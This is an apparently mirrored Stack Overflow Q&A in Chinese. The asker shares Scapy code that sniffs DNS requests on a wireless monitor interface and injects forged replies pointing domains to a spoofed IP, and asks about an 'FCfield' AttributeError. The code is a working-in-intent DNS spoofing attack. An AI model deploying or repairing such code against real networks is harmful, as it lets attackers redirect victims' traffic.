【问题标题】:FCfield Attribut error while sniffing packets using Scapy使用 Scapy 嗅探数据包时出现 FCfield 属性错误
【发布时间】:2017-09-24 22:05:39
【问题描述】:

我尝试使用 scapy 在 mon0 接口上嗅探 DNS 请求数据包。 我想发回一个欺骗性的 IP。 但我得到一个错误:

AttributeError: 'Ether' 对象没有属性 'FCfield'

代码:

def send_response(x):
x.show()
req_domain = x[DNS].qd.qname
logger.info('Found request for ' + req_domain)
# First, we delete the existing lengths and checksums..
# We will let Scapy re-create them
del(x[UDP].len)
del(x[UDP].chksum)
del(x[IP].len)
del(x[IP].chksum)
response = x.copy()
response.FCfield = '2L'

response.addr1, response.addr2 = x.addr2, x.addr1
# Switch the IP addresses
response.src, response.dst = x.dst, x.src
# Switch the ports
response.sport, response.dport = x.dport, x.sport
# Set the DNS flags
response[DNS].qr = '1L'
response[DNS].ra = '1L'
response[DNS].ancount = 1


response[DNS].an = DNSRR(
    rrname = req_domain,
    type = 'A',
    rclass = 'IN',
    ttl = 900,
    rdata = spoofed_ip
    )
#inject the response
sendp(response)
logger.info('Sent response: ' + req_domain + ' -> ' + spoofed_ip + '\n')

def main():
    logger.info('Starting to intercept [CTRL+C to stop]')
    sniff(prn=lambda x: send_response(x), lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)

【问题讨论】:

    标签: python networking scapy spoofing


    【解决方案1】:

    您的接口可能未配置为监控模式,这就是您获得以太网 (Ether) 层而不是 WiFi (Dot11) 层的原因。

    【讨论】:

    • 我在运行代码之前确实在无线接口上启用了监控模式:Interface Chipset Driver wlp6s0 Intel AC iwlwifi - [phy0] (monitor mode enabled on mon0)
    猜你喜欢
    • 1970-01-01
    • 2015-04-24
    • 1970-01-01
    • 2015-07-28
    • 2013-09-11
    • 2015-04-02
    • 1970-01-01
    • 2023-01-26
    • 2021-06-03
    相关资源
    最近更新 更多